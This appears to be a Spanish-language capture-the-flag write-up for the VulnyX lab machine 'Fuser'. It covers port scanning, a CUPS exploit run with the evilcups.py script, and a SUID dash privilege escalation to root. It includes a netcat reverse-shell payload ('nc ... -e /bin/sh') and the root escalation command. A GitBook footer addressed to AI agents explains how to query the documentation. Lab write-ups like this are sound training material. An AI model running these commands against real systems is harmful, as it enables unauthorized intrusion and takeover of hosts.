> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/vulnyx/fuser.md).

# Fuser

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.129
```

para verificar la conectividad de red.

<figure><img src="/files/qlSx58KUF5IeQN2OosYc" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -p- --open 192.168.1.129 --min-rate 5000 -n
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/O58ei3fLrofFrtU8TwM4" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH,** el **puerto 631** perteneciente al **servicio IPP** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80,631 -v 192.168.1.129
```

para obtener más información sobre ese puerto específicamente.

<figure><img src="/files/K62ytDCdPxw8Ge6UWh4Z" alt=""><figcaption></figcaption></figure>

Revisamos el puerto 80. No contiene nada relevante.

<figure><img src="/files/7ftpepoxNp1d71qVDzXZ" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Revisamos el puerto 631. Descubrimos que es un **CUPS** y su versión es vulnerable en la que podemos hacer una **Reverse Shell**.

{% @github-files/github-code-block url="<https://github.com/IppSec/evil-cups/blob/main/evilcups.py>" %}

Ejecutamos y nos ponemos en escucha.

```bash
nc -nlvp 443
python3 evilcups.py 192.168.1.56 192.168.1.129 "nc 192.168.1.56 443 -e /bin/sh"
```

Buscamos directorios.

```bash
gobuster dir -u http://192.168.1.129:631 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,txt,php,xml
```

Vemos que hay un directorio llamado **/printers** por lo que ahí se verá las impresoras.

<figure><img src="/files/PB6tLWRa73y8rTnCRPrA" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2AL9bdAHCN0Q6AZht6J7" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/JLvguHP1Z4bGtabskg3X" alt=""><figcaption></figcaption></figure>

Obtenermos ya la shell.

<figure><img src="/files/w9CSn50meEz8se1Ql9yg" alt=""><figcaption></figcaption></figure>

Hacemos el [tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/#) para trabajar más cómodos.

### 🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar. No tenemos permisos SUDO.&#x20;

Tenemos permisos **SUID** sobre el binario **dash**.

{% embed url="<https://gtfobins.github.io/gtfobins/dash/#suid>" %}

```bash
/usr/bin/dash -p
```

Ya somos **root**.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/vulnyx/fuser.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
